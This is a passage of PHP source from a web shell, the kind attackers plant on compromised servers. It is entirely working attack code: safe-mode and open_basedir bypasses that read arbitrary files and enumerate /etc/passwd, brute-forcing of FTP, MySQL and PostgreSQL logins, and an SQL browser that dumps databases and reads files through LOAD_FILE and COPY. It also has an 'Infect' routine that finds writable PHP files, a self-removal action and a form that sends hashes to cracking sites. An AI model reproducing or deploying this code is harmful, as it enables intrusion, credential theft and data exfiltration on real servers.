type=\'submit\' value=\'submit\'></td></tr>\n\t\t\t</table></form>";\n\tfunction hardRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $▟) {\n\t\t\t\tif(@is_dir($▟)){\n\t\t\t\t\tif($path!=$▟)\n\t\t\t\t\t\thardRecursiveGlob($▟);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($▟), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\thardRecursiveGlob($_POST[\'c\']);\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\n\t\t</form></div>";\n\thardFooter();\n}\nfunction actionSafeMode() {\n\t$temp=\'\';\n\tob_start();\n\tswitch($_POST[\'p1\']) {\n\t\tcase 1:\n\t\t\t$temp=@tempnam($test, \'cx\');\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\n\t\t\t\techo @file_get_contents($temp);\n\t\t\t\tunlink($temp);\n\t\t\t} else\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\n\t\t\tif( is_array($files) )\n\t\t\t\tforeach ($files as $filename)\n\t\t\t\t\techo $filename."\\n";\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\n\t\t\tcurl_exec($ch);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tini_restore("safe_mode");\n\t\t\tini_restore("open_basedir");\n\t\t\tinclude($_POST[\'p2\']);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\n\t\t\t\tif ($uid)\n\t\t\t\t\techo join(\':\',$uid)."\\n";\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\tif(!function_exists(\'imap_open\'))break;\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\n\t\t\tif ($stream == FALSE)\n\t\t\t\tbreak;\n\t\t\techo imap_body($stream, 1);\n\t\t\timap_close($stream);\n\t\t\tbreak;\n\t}\n\t$temp = ob_get_clean();\n\thardHeader();\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\n\tif($temp)\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\nfunction actionSelfRemove() {\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        hardHeader();\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\thardFooter();\n}\nfunction actionInfect() {\n\thardHeader();\n\techo \'<h1>Infect</h1><div class=content>\';\n\tif($_POST[\'p1\'] == \'infect\') {\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\n\t\t\tfunction ListFiles($dir) {\n\t\t\t\tif($dh = opendir($dir)) {\n\t\t\t\t\t$files = Array();\n\t\t\t\t\t$inner_files = Array();\n\t\t\t\t\twhile($file = readdir($dh)) {\n\t\t\t\t\t\tif($file != "." && $file != "..") {\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\treturn $files;\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach (ListFiles($target) as $key=>$file){\n\t\t\t\t$nFile = substr($file, -4, 4);\n\t\t\t\tif($nFile == ".php" ){\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\n\t\t\t\t\t\techo "$file<br>";\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\techo "<font color=red size=14>$i</font>";\n\t\t}else{\n\t\t\techo "<form method=post><input type=submit value=Infect name=infet></form>";\n\t\t\techo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\n\t\t}\n\thardFooter();\n}\nfunction actionBruteforce() {\n\thardHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n\t}\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n\t\t.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n\t\t.\'<input type=hidden name=ne  value="">\'\n\t\t.\'<span>Server:port</span></td>\'\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n\t\t.\'<tr><td><span>Brute type</span></td>\'\n\t\t.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\n\t\t.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\n\t\t.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction __construct($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n                        return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table hard2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n                            if($v === null)\n                                $▟[$k] = "NULL";\n                            elseif(is_int($v))\n                                $▟[$k] = $v;\n                            else\n                                $▟[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $▟).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $▟).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n\t\t\t\t\t}\n                    if(!$head)\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n\t\t\t\t\t\t\t$▟[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $▟).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\thardHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><label><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></label></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\" required></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<label><select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($▟ = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($▟);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select></label>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($▟ = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($▟);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main>\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($▟ = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($▟ as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($▟);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($▟ as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";\n            }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre 